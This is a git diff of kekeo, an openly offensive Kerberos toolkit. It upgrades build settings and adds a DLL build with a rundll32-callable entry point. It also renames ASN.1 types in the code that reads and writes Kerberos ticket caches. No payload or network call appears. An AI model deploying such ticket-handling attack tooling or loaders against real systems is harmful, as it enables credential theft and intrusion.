diff --git a/inc/globals.h b/inc/globals.h
index 8e8fdbb..350730d 100644
--- a/inc/globals.h
+++ b/inc/globals.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo.sln b/kekeo.sln
index 53fa582..eb53371 100644
--- a/kekeo.sln
+++ b/kekeo.sln
@@ -1,6 +1,6 @@
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kekeo", "kekeo\kekeo.vcxproj", "{E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "global files", "global files", "{7BC63A9D-AA3E-471E-9AF2-90815A59FDF7}"
@@ -67,6 +67,8 @@ Global
Release|x64 = Release|x64
Second_Release_PowerShell|Win32 = Second_Release_PowerShell|Win32
Second_Release_PowerShell|x64 = Second_Release_PowerShell|x64
+ Simple_DLL|Win32 = Simple_DLL|Win32
+ Simple_DLL|x64 = Simple_DLL|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Release|Win32.ActiveCfg = Release|Win32
@@ -77,6 +79,10 @@ Global
{E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Second_Release_PowerShell|Win32.Build.0 = Second_Release_PowerShell|Win32
{E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Second_Release_PowerShell|x64.ActiveCfg = Second_Release_PowerShell|x64
{E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Second_Release_PowerShell|x64.Build.0 = Second_Release_PowerShell|x64
+ {E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Simple_DLL|Win32.ActiveCfg = Simple_DLL|Win32
+ {E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Simple_DLL|Win32.Build.0 = Simple_DLL|Win32
+ {E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Simple_DLL|x64.ActiveCfg = Simple_DLL|x64
+ {E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}.Simple_DLL|x64.Build.0 = Simple_DLL|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/kekeo/kekeo.c b/kekeo/kekeo.c
index d911a57..726a4e4 100644
--- a/kekeo/kekeo.c
+++ b/kekeo/kekeo.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -22,29 +22,18 @@ int wmain(int argc, wchar_t * argv[])
{
NTSTATUS status = STATUS_SUCCESS;
int i;
-#ifndef _WINDLL
+#if !defined(_POWERKATZ)
size_t len;
wchar_t input[0xffff];
- kull_m_output_init();
- SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)");
- SetConsoleCtrlHandler(HandlerRoutine, TRUE);
#endif
- kprintf(L"\n"
- L" ___ _ " MIMIKATZ_FULL L"\n"
- L" / ('>- " MIMIKATZ_SECOND L"\n"
- L" | K | /* * *\n"
- L" \\____/ Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
- L" L\\_ http://blog.gentilkiwi.com/kekeo (oe.eo)\n"
- L" " MIMIKATZ_SPECIAL L" with %2u modules * * */\n", ARRAYSIZE(mimikatz_modules));
-
- mimikatz_initOrClean(TRUE);
+ mimikatz_begin();
for(i = MIMIKATZ_AUTO_COMMAND_START ; (i < argc) && (status != STATUS_FATAL_APP_EXIT) ; i++)
{
kprintf(L"\n" MIMIKATZ L"(" MIMIKATZ_AUTO_COMMAND_STRING L") # %s\n", argv[i]);
status = mimikatz_dispatchCommand(argv[i]);
}
-#ifndef _WINDLL
- while (status != STATUS_FATAL_APP_EXIT)
+#if !defined(_POWERKATZ)
+ while ((status != STATUS_PROCESS_IS_TERMINATING) && (status != STATUS_THREAD_IS_TERMINATING))
{
kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
@@ -56,12 +45,39 @@ int wmain(int argc, wchar_t * argv[])
}
}
#endif
+ mimikatz_end(status);
+ return STATUS_SUCCESS;
+}
+
+void mimikatz_begin()
+{
+ kull_m_output_init();
+#if !defined(_POWERKATZ)
+ SetConsoleTitle(MIMIKATZ L" " MIMIKATZ_VERSION L" " MIMIKATZ_ARCH L" (oe.eo)");
+ SetConsoleCtrlHandler(HandlerRoutine, TRUE);
+#endif
+ kprintf(L"\n"
+ L" ___ _ " MIMIKATZ_FULL L"\n"
+ L" / ('>- " MIMIKATZ_SECOND L"\n"
+ L" | K | /* * *\n"
+ L" \\____/ Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n"
+ L" L\\_ https://blog.gentilkiwi.com/kekeo (oe.eo)\n"
+ L" " MIMIKATZ_SPECIAL L" with %2u modules * * */\n", ARRAYSIZE(mimikatz_modules));
+ mimikatz_initOrClean(TRUE);
+}
+
+void mimikatz_end(NTSTATUS status)
+{
mimikatz_initOrClean(FALSE);
-#ifndef _WINDLL
+#if !defined(_POWERKATZ)
SetConsoleCtrlHandler(HandlerRoutine, FALSE);
+#endif
kull_m_output_clean();
+#if !defined(_WINDLL)
+ if(status == STATUS_THREAD_IS_TERMINATING)
+ ExitThread(STATUS_SUCCESS);
+ else ExitProcess(STATUS_SUCCESS);
#endif
- return STATUS_SUCCESS;
}
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType)
@@ -200,7 +216,7 @@ NTSTATUS mimikatz_doLocal(wchar_t * input)
return status;
}
-#ifdef _WINDLL
+#if defined(_POWERKATZ)
__declspec(dllexport) wchar_t * powershell_reflective_kekeo(LPCWSTR input)
{
int argc = 0;
@@ -216,4 +232,29 @@ __declspec(dllexport) wchar_t * powershell_reflective_kekeo(LPCWSTR input)
}
return outputBuffer;
}
+#endif
+
+#if defined(_WINDLL)
+void CALLBACK kekeo_dll(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow)
+{
+ int argc = 0;
+ wchar_t ** argv;
+
+ AllocConsole();
+#pragma warning(push)
+#pragma warning(disable:4996)
+ freopen("CONOUT$", "w", stdout);
+ freopen("CONOUT$", "w", stderr);
+ freopen("CONIN$", "r", stdin);
+#pragma warning(pop)
+ if(lpszCmdLine && lstrlenW(lpszCmdLine))
+ {
+ if(argv = CommandLineToArgvW(lpszCmdLine, &argc))
+ {
+ wmain(argc, argv);
+ LocalFree(argv);
+ }
+ }
+ else wmain(0, NULL);
+}
#endif
\ No newline at end of file
diff --git a/kekeo/kekeo.h b/kekeo/kekeo.h
index 013e348..8d72424 100644
--- a/kekeo/kekeo.h
+++ b/kekeo/kekeo.h
@@ -1,32 +1,45 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : https://creativecommons.org/licenses/by/4.0/
-*/
-#pragma once
-
-#include "globals.h"
-#include "modules/kuhl_m_standard.h"
-#include "modules/kuhl_m_tgt.h"
-#include "modules/kuhl_m_tgs.h"
-#include "modules/kuhl_m_exploit.h"
-#include "modules/kuhl_m_misc.h"
-#include "modules/kerberos/kuhl_m_kerberos.h"
-#include "modules/kuhl_m_smb.h"
-#include "modules/kuhl_m_ntlm.h"
-#include "modules/kuhl_m_tsssp.h"
-#include "modules/kuhl_m_server.h"
-
-#include "../modules/kull_m_file.h"
-#include "../modules/asn1/kull_m_kerberos_asn1.h"
-
-extern VOID WINAPI RtlGetNtVersionNumbers(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);
-
-int wmain(int argc, wchar_t * argv[]);
-
-BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
-
-NTSTATUS mimikatz_initOrClean(BOOL Init);
-
-NTSTATUS mimikatz_doLocal(wchar_t * input);
-NTSTATUS mimikatz_dispatchCommand(wchar_t * input);
\ No newline at end of file
+/* Benjamin DELPY `gentilkiwi`
+ https://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#pragma once
+
+#include "globals.h"
+#include "modules/kuhl_m_standard.h"
+#include "modules/kuhl_m_tgt.h"
+#include "modules/kuhl_m_tgs.h"
+#include "modules/kuhl_m_exploit.h"
+#include "modules/kuhl_m_misc.h"
+#include "modules/kerberos/kuhl_m_kerberos.h"
+#include "modules/kuhl_m_smb.h"
+#include "modules/kuhl_m_ntlm.h"
+#include "modules/kuhl_m_tsssp.h"
+#include "modules/kuhl_m_server.h"
+
+#include "../modules/kull_m_file.h"
+#include "../modules/asn1/kull_m_kerberos_asn1.h"
+
+extern VOID WINAPI RtlGetNtVersionNumbers(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);
+
+int wmain(int argc, wchar_t * argv[]);
+void mimikatz_begin();
+void mimikatz_end(NTSTATUS status);
+
+BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
+
+NTSTATUS mimikatz_initOrClean(BOOL Init);
+
+NTSTATUS mimikatz_doLocal(wchar_t * input);
+NTSTATUS mimikatz_dispatchCommand(wchar_t * input);
+
+#if defined(_POWERKATZ)
+__declspec(dllexport) wchar_t * powershell_reflective_kekeo(LPCWSTR input);
+#elif defined(_WINDLL)
+void CALLBACK kekeo_dll(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow);
+#if defined(_M_X64) || defined(_M_ARM64)
+#pragma comment(linker, "/export:mainW=kekeo_dll")
+#elif defined(_M_IX86)
+#pragma comment(linker, "/export:mainW=_kekeo_dll@16")
+#endif
+#endif
\ No newline at end of file
diff --git a/kekeo/kekeo.rc b/kekeo/kekeo.rc
index 5e23d9b..5329062 100644
--- a/kekeo/kekeo.rc
+++ b/kekeo/kekeo.rc
@@ -21,7 +21,7 @@ BLOCK "StringFileInfo"
VALUE "FileDescription", "kekeo for Windows"
VALUE "FileVersion", "2.2.0.0"
VALUE "InternalName", "kekeo"
- VALUE "LegalCopyright", "Copyright (c) 2014 - 2019 gentilkiwi (Benjamin DELPY)"
+ VALUE "LegalCopyright", "Copyright (c) 2014 - 2021 gentilkiwi (Benjamin DELPY)"
VALUE "OriginalFilename", "kekeo.exe"
VALUE "PrivateBuild", "Build with love for POC only"
VALUE "SpecialBuild", ":)"
diff --git a/kekeo/kekeo.vcxproj b/kekeo/kekeo.vcxproj
index 39ed311..71ff65f 100644
--- a/kekeo/kekeo.vcxproj
+++ b/kekeo/kekeo.vcxproj
@@ -17,6 +17,14 @@
Second_Release_PowerShell
x64
+
+ Simple_DLL
+ Win32
+
+
+ Simple_DLL
+ x64
+
{E6F0D274-D280-4E1D-B11A-D47D63DDDE8E}
@@ -26,11 +34,12 @@
Svn
Svn
SubversionScc
+ 10.0
- Application
- DynamicLibrary
+ Application
+ DynamicLibrary
false
true
Unicode
@@ -62,7 +71,7 @@
true
false
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
- true
+ _POWERKATZ;%(PreprocessorDefinitions)
AnySuitable
Size
true
@@ -73,6 +82,7 @@
false
false
None
+ true
4Bytes
8Bytes
@@ -100,6 +110,7 @@
+
@@ -136,6 +147,7 @@
+
@@ -164,10 +176,11 @@
-
+
+
-
+
@@ -176,9 +189,7 @@
-
-
-
+
\ No newline at end of file
diff --git a/kekeo/kekeo.vcxproj.filters b/kekeo/kekeo.vcxproj.filters
index 6a801e8..39b5f28 100644
--- a/kekeo/kekeo.vcxproj.filters
+++ b/kekeo/kekeo.vcxproj.filters
@@ -118,6 +118,9 @@
common modules
+
+ common modules
+
@@ -226,6 +229,9 @@
common modules
+
+ common modules
+
@@ -259,5 +265,8 @@
common modules\asn1
+
+ common modules\asn1
+
\ No newline at end of file
diff --git a/kekeo/modules/codecs/ccache.c b/kekeo/modules/codecs/ccache.c
index d116331..e33019d 100644
--- a/kekeo/modules/codecs/ccache.c
+++ b/kekeo/modules/codecs/ccache.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -10,21 +10,21 @@ BOOL kiwi_ccache_valid_header(OssBuf *input)
return ((input->length > 4) && (_byteswap_ushort(*(PUSHORT) input->value) == 0x0504));
}
-BOOL kiwi_ccache_read(OssBuf *input, KRB_CRED **cred)
+BOOL kiwi_ccache_read(OssBuf *input, KULL_M_ASN1_KRB_CRED **cred)
{
BOOL status = FALSE;
PBYTE data = input->value;
- KRB_CRED lCred;
- struct _seqof3 **lTickets;
+ KULL_M_ASN1_KRB_CRED lCred;
+ struct KULL_M_ASN1__seqof3 **lTickets;
- EncKrbCredPart lEncPart;
- struct _seqof5 **lTicket_info;
+ KULL_M_ASN1_EncKrbCredPart lEncPart;
+ struct KULL_M_ASN1__seqof5 **lTicket_info;
- PrincipalName principal;
- Realm realm = NULL;
+ KULL_M_ASN1_PrincipalName principal;
+ KULL_M_ASN1_Realm realm = NULL;
OssBuf encodedTicket, output = {0 , NULL};
- Ticket *ticket;
+ KULL_M_ASN1_Ticket *ticket;
int pduNum;
@@ -51,9 +51,9 @@ BOOL kiwi_ccache_read(OssBuf *input, KRB_CRED **cred)
while(data < (input->value + input->length))
{
- if(*lTicket_info = (struct _seqof5 *) LocalAlloc(LPTR, sizeof(struct _seqof5)))
+ if(*lTicket_info = (struct KULL_M_ASN1__seqof5 *) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof5)))
{
- (*lTicket_info)->value.bit_mask = pname_present | authtime_present | KrbCredInfo_starttime_present | endtime_present | KrbCredInfo_renew_till_present | KrbCredInfo_sname_present;
+ (*lTicket_info)->value.bit_mask = KULL_M_ASN1_pname_present | KULL_M_ASN1_authtime_present | KULL_M_ASN1_KrbCredInfo_starttime_present | KULL_M_ASN1_endtime_present | KULL_M_ASN1_KrbCredInfo_renew_till_present | KULL_M_ASN1_KrbCredInfo_sname_present;
kiwi_ccache_create_principal_realm(&data, &(*lTicket_info)->value.pname, &(*lTicket_info)->value.prealm);
kiwi_ccache_create_principal_realm(&data, &(*lTicket_info)->value.sname, &(*lTicket_info)->value.srealm);
@@ -72,7 +72,7 @@ BOOL kiwi_ccache_read(OssBuf *input, KRB_CRED **cred)
data += sizeof(UCHAR); // skey
if((*lTicket_info)->value.flags.value = (unsigned char *) LocalAlloc(LPTR, sizeof(DWORD)))
{
- (*lTicket_info)->value.bit_mask |= flags_present;
+ (*lTicket_info)->value.bit_mask |= KULL_M_ASN1_flags_present;
(*lTicket_info)->value.flags.length = sizeof(DWORD) * 8;
*(PDWORD) (*lTicket_info)->value.flags.value = *(PDWORD) data; data += sizeof(DWORD);
}
@@ -88,10 +88,10 @@ BOOL kiwi_ccache_read(OssBuf *input, KRB_CRED **cred)
if(_stricmp((*lTicket_info)->value.srealm, "X-CACHECONF:") && encodedTicket.length)
{
ticket = NULL;
- pduNum = Ticket_PDU;
+ pduNum = KULL_M_ASN1_Ticket_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, &encodedTicket, (void **) &ticket))
{
- if(*lTickets = (struct _seqof3 *) LocalAlloc(LPTR, sizeof(struct _seqof3)))
+ if(*lTickets = (struct KULL_M_ASN1__seqof3 *) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof3)))
{
(*lTickets)->value.tkt_vno = ticket->tkt_vno;
(*lTickets)->value.enc_part = ticket->enc_part;
@@ -102,19 +102,19 @@ BOOL kiwi_ccache_read(OssBuf *input, KRB_CRED **cred)
lTickets = &(*lTickets)->next;
}
- ossFreePDU(&kull_m_kerberos_asn1_world, Ticket_PDU, ticket);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_Ticket_PDU, ticket);
}
- else kprintf(L"Unable to decode Ticket: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
+ else PRINT_ERROR(L"Unable to decode Ticket: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
lTicket_info = &(*lTicket_info)->next;
}
else kiwi_ccache_free_ticketInfo(*lTicket_info);
}
}
- if(!ossEncode(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, &lEncPart, &output))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, &lEncPart, &output))
{
- lCred.enc_part.cipher = *(_octet1 *) &output;
- status = !ossCpyValue(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, &lCred, (void **) cred);
+ lCred.enc_part.cipher = *(KULL_M_ASN1__octet1 *) &output;
+ status = !ossCpyValue(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, &lCred, (void **) cred);
if(!status)
PRINT_ERROR(L"Unable to copy KRB_CRED: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
ossFreeBuf(&kull_m_kerberos_asn1_world, output.value);
@@ -130,22 +130,22 @@ BOOL kiwi_ccache_read(OssBuf *input, KRB_CRED **cred)
return status;
}
-BOOL kiwi_ccache_write(KRB_CRED *cred, OssBuf *output)
+BOOL kiwi_ccache_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output)
{
BOOL status = FALSE;
- EncKrbCredPart * encKrbCredPart = NULL;
- struct _seqof5 * nextInfos;
- struct _seqof3 * nextTicket;
+ KULL_M_ASN1_EncKrbCredPart * encKrbCredPart = NULL;
+ struct KULL_M_ASN1__seqof5 * nextInfos;
+ struct KULL_M_ASN1__seqof3 * nextTicket;
OssBuf ticketBuf;
- PrincipalName * pname;
- Realm * prealm;
+ KULL_M_ASN1_PrincipalName * pname;
+ KULL_M_ASN1_Realm * prealm;
PBYTE data;
time_t t;
int pduNum;
output->length = 0;
output->value = NULL;
- pduNum = EncKrbCredPart_PDU;
+ pduNum = KULL_M_ASN1_EncKrbCredPart_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, (OssBuf *) &cred->enc_part.cipher, (LPVOID *) &encKrbCredPart))
{
output->length = kiwi_ccache_size_header_krbcred(cred, encKrbCredPart, &pname, &prealm);
@@ -168,34 +168,34 @@ BOOL kiwi_ccache_write(KRB_CRED *cred, OssBuf *output)
*(PUSHORT) data = _byteswap_ushort((USHORT) nextInfos->value.key.keyvalue.length); data += sizeof(USHORT);
RtlCopyMemory(data, nextInfos->value.key.keyvalue.value, nextInfos->value.key.keyvalue.length); data += nextInfos->value.key.keyvalue.length;
- if(nextInfos->value.bit_mask & authtime_present)
+ if(nextInfos->value.bit_mask & KULL_M_ASN1_authtime_present)
kull_m_kerberos_asn1_KerberosTime_to_time_t(&nextInfos->value.authtime, &t);
else t = 0;
*(PDWORD) data = _byteswap_ulong((DWORD) t); data += sizeof(DWORD);
- if(nextInfos->value.bit_mask & KrbCredInfo_starttime_present)
+ if(nextInfos->value.bit_mask & KULL_M_ASN1_KrbCredInfo_starttime_present)
kull_m_kerberos_asn1_KerberosTime_to_time_t(&nextInfos->value.starttime, &t);
else t = 0;
*(PDWORD) data = _byteswap_ulong((DWORD) t); data += sizeof(DWORD);
- if(nextInfos->value.bit_mask & endtime_present)
+ if(nextInfos->value.bit_mask & KULL_M_ASN1_endtime_present)
kull_m_kerberos_asn1_KerberosTime_to_time_t(&nextInfos->value.endtime, &t);
else t = 0;
*(PDWORD) data = _byteswap_ulong((DWORD) t); data += sizeof(DWORD);
- if(nextInfos->value.bit_mask & KrbCredInfo_renew_till_present)
+ if(nextInfos->value.bit_mask & KULL_M_ASN1_KrbCredInfo_renew_till_present)
kull_m_kerberos_asn1_KerberosTime_to_time_t(&nextInfos->value.renew_till, &t);
else t = 0;
*(PDWORD) data = _byteswap_ulong((DWORD) t); data += sizeof(DWORD);
*(PUCHAR) data = 0; data += sizeof(UCHAR);
- *(PDWORD) data = ((nextInfos->value.bit_mask & flags_present) && (nextInfos->value.flags.length >= (sizeof(DWORD) * 8))) ? (*(PDWORD) nextInfos->value.flags.value) : 0; data += sizeof(DWORD);
+ *(PDWORD) data = ((nextInfos->value.bit_mask & KULL_M_ASN1_flags_present) && (nextInfos->value.flags.length >= (sizeof(DWORD) * 8))) ? (*(PDWORD) nextInfos->value.flags.value) : 0; data += sizeof(DWORD);
*(PDWORD) data = 0; data += sizeof(DWORD); // address
*(PDWORD) data = 0; data += sizeof(DWORD); // authdata
ticketBuf.length = 0;
ticketBuf.value = NULL;
- if(!ossEncode(&kull_m_kerberos_asn1_world, Ticket_PDU, &nextTicket->value, &ticketBuf))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_Ticket_PDU, &nextTicket->value, &ticketBuf))
{
*(PDWORD) data = _byteswap_ulong(ticketBuf.length); data += sizeof(DWORD);
RtlCopyMemory(data, ticketBuf.value, ticketBuf.length); data += ticketBuf.length;
@@ -209,7 +209,7 @@ BOOL kiwi_ccache_write(KRB_CRED *cred, OssBuf *output)
*(PDWORD) data = 0; data += sizeof(DWORD);
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCredPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCredPart);
}
else PRINT_ERROR(L"Unable to decode EncKrbCredPart: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
@@ -219,11 +219,11 @@ BOOL kiwi_ccache_write(KRB_CRED *cred, OssBuf *output)
return status;
}
-DWORD kiwi_ccache_size_header_krbcred(KRB_CRED *cred, EncKrbCredPart * encKrbCredPart, PrincipalName ** pname, Realm ** prealm)
+DWORD kiwi_ccache_size_header_krbcred(KULL_M_ASN1_KRB_CRED *cred, KULL_M_ASN1_EncKrbCredPart * encKrbCredPart, KULL_M_ASN1_PrincipalName ** pname, KULL_M_ASN1_Realm ** prealm)
{
DWORD size = 2 * sizeof(USHORT);
- struct _seqof5 * nextInfos;
- struct _seqof3 * nextTicket;
+ struct KULL_M_ASN1__seqof5 * nextInfos;
+ struct KULL_M_ASN1__seqof3 * nextTicket;
OssBuf ticketBuf;
for(nextTicket = cred->tickets, nextInfos = encKrbCredPart->ticket_info; nextTicket && nextInfos; nextTicket = nextTicket->next, nextInfos = nextInfos->next)
@@ -245,7 +245,7 @@ DWORD kiwi_ccache_size_header_krbcred(KRB_CRED *cred, EncKrbCredPart * encKrbCre
ticketBuf.length = 0;
ticketBuf.value = NULL;
- if(!ossEncode(&kull_m_kerberos_asn1_world, Ticket_PDU, &nextTicket->value, &ticketBuf))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_Ticket_PDU, &nextTicket->value, &ticketBuf))
{
size += sizeof(DWORD) + ticketBuf.length;
ossFreeBuf(&kull_m_kerberos_asn1_world, ticketBuf.value);
@@ -257,9 +257,9 @@ DWORD kiwi_ccache_size_header_krbcred(KRB_CRED *cred, EncKrbCredPart * encKrbCre
}
-void kiwi_ccache_free_ticketInfo(struct _seqof5 * infos)
+void kiwi_ccache_free_ticketInfo(struct KULL_M_ASN1__seqof5 * infos)
{
- struct _seqof5 * nextInfos = infos;
+ struct KULL_M_ASN1__seqof5 * nextInfos = infos;
while(nextInfos)
{
kiwi_ccache_free_principal_realm(&nextInfos->value.pname, &nextInfos->value.prealm);
@@ -276,9 +276,9 @@ void kiwi_ccache_free_ticketInfo(struct _seqof5 * infos)
}
}
-void kiwi_ccache_free_ticket(struct _seqof3 * ticket)
+void kiwi_ccache_free_ticket(struct KULL_M_ASN1__seqof3 * ticket)
{
- struct _seqof3 * nextTicket = ticket;
+ struct KULL_M_ASN1__seqof3 * nextTicket = ticket;
while(nextTicket)
{
kiwi_ccache_free_principal_realm(&nextTicket->value.sname, &nextTicket->value.realm);
@@ -306,35 +306,35 @@ void kiwi_ccache_skip_struct_with_buffer(PBYTE *data)
}
}
-DWORD kiwi_ccache_size_principal_realm(PrincipalName *name, Realm *realm)
+DWORD kiwi_ccache_size_principal_realm(KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm)
{
DWORD size = sizeof(DWORD) * 3 + lstrlenA(*realm);
- struct _seqof1 * seq;
+ struct KULL_M_ASN1__seqof1 * seq;
for(seq = name->name_string; seq; seq = seq->next)
size += sizeof(DWORD) + lstrlenA(seq->value);
return size;
}
-void kiwi_ccache_create_principal_realm(PBYTE *data, PrincipalName *name, Realm *realm)
+void kiwi_ccache_create_principal_realm(PBYTE *data, KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm)
{
- struct _seqof1 ** seq;
+ struct KULL_M_ASN1__seqof1 ** seq;
DWORD numName, numChar;
name->name_type = _byteswap_ulong(*(PDWORD) *data); *data += sizeof(DWORD);
numName = _byteswap_ulong(*(PDWORD) *data); *data += sizeof(DWORD);
numChar = _byteswap_ulong(*(PDWORD) *data); *data += sizeof(DWORD);
- if(*realm = (Realm) LocalAlloc(LPTR, numChar + sizeof(char)))
+ if(*realm = (KULL_M_ASN1_Realm) LocalAlloc(LPTR, numChar + sizeof(char)))
RtlCopyMemory(*realm, *data, numChar);
*data += numChar;
seq = &name->name_string;
while(numName)
{
- if(*seq = (struct _seqof1 *) LocalAlloc(LPTR, sizeof(struct _seqof1)))
+ if(*seq = (struct KULL_M_ASN1__seqof1 *) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof1)))
{
numChar = _byteswap_ulong(*(PDWORD) *data); *data += sizeof(DWORD);
- if((*seq)->value = (KerberosString) LocalAlloc(LPTR, numChar + sizeof(char)))
+ if((*seq)->value = (KULL_M_ASN1_KerberosString) LocalAlloc(LPTR, numChar + sizeof(char)))
RtlCopyMemory((*seq)->value, *data, numChar);
*data += numChar;
seq = &(*seq)->next;
@@ -343,30 +343,30 @@ void kiwi_ccache_create_principal_realm(PBYTE *data, PrincipalName *name, Realm
}
}
-void kiwi_ccache_copy_principal_realm(PrincipalName *srcName, Realm *srcRealm, PrincipalName *dstName, Realm *dstRealm)
+void kiwi_ccache_copy_principal_realm(KULL_M_ASN1_PrincipalName *srcName, KULL_M_ASN1_Realm *srcRealm, KULL_M_ASN1_PrincipalName *dstName, KULL_M_ASN1_Realm *dstRealm)
{
DWORD szString;
- struct _seqof1 *seq, **ptrSeq;
+ struct KULL_M_ASN1__seqof1 *seq, **ptrSeq;
szString = lstrlenA(*srcRealm);
- if(*dstRealm = (Realm) LocalAlloc(LPTR, szString + sizeof(char)))
+ if(*dstRealm = (KULL_M_ASN1_Realm) LocalAlloc(LPTR, szString + sizeof(char)))
RtlCopyMemory(*dstRealm, *srcRealm, szString);
dstName->name_type = srcName->name_type;
for(seq = srcName->name_string, ptrSeq = &dstName->name_string; seq ; seq = seq->next, ptrSeq = &(*ptrSeq)->next)
{
- if(*ptrSeq = (struct _seqof1 *) LocalAlloc(LPTR, sizeof(struct _seqof1)))
+ if(*ptrSeq = (struct KULL_M_ASN1__seqof1 *) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof1)))
{
szString = lstrlenA(seq->value);
- if((*ptrSeq)->value = (KerberosString) LocalAlloc(LPTR, szString + sizeof(char)))
+ if((*ptrSeq)->value = (KULL_M_ASN1_KerberosString) LocalAlloc(LPTR, szString + sizeof(char)))
RtlCopyMemory((*ptrSeq)->value, seq->value, szString);
}
}
}
-void kiwi_ccache_free_principal_realm(PrincipalName *name, Realm *realm)
+void kiwi_ccache_free_principal_realm(KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm)
{
- struct _seqof1 *seq, *next;
+ struct KULL_M_ASN1__seqof1 *seq, *next;
if(realm && *realm)
LocalFree(*realm);
@@ -384,11 +384,11 @@ void kiwi_ccache_free_principal_realm(PrincipalName *name, Realm *realm)
}
}
-void kiwi_ccache_write_principal_realm(PBYTE *data, PrincipalName *name, Realm *realm)
+void kiwi_ccache_write_principal_realm(PBYTE *data, KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm)
{
PDWORD numCom;
DWORD numCar, numName = 0;
- struct _seqof1 *seq;
+ struct KULL_M_ASN1__seqof1 *seq;
*(PDWORD) *data = _byteswap_ulong(name->name_type); *data += sizeof(DWORD);
numCom = (PDWORD) *data; *data += sizeof(DWORD);
diff --git a/kekeo/modules/codecs/ccache.h b/kekeo/modules/codecs/ccache.h
index dc7e60a..a32c578 100644
--- a/kekeo/modules/codecs/ccache.h
+++ b/kekeo/modules/codecs/ccache.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -7,18 +7,18 @@
#include "common.h"
BOOL kiwi_ccache_valid_header(OssBuf *input);
-BOOL kiwi_ccache_read(OssBuf *input, KRB_CRED **cred);
-BOOL kiwi_ccache_write(KRB_CRED *cred, OssBuf *output);
+BOOL kiwi_ccache_read(OssBuf *input, KULL_M_ASN1_KRB_CRED **cred);
+BOOL kiwi_ccache_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output);
-DWORD kiwi_ccache_size_header_krbcred(KRB_CRED *cred, EncKrbCredPart * encKrbCredPart, PrincipalName ** pname, Realm ** prealm);
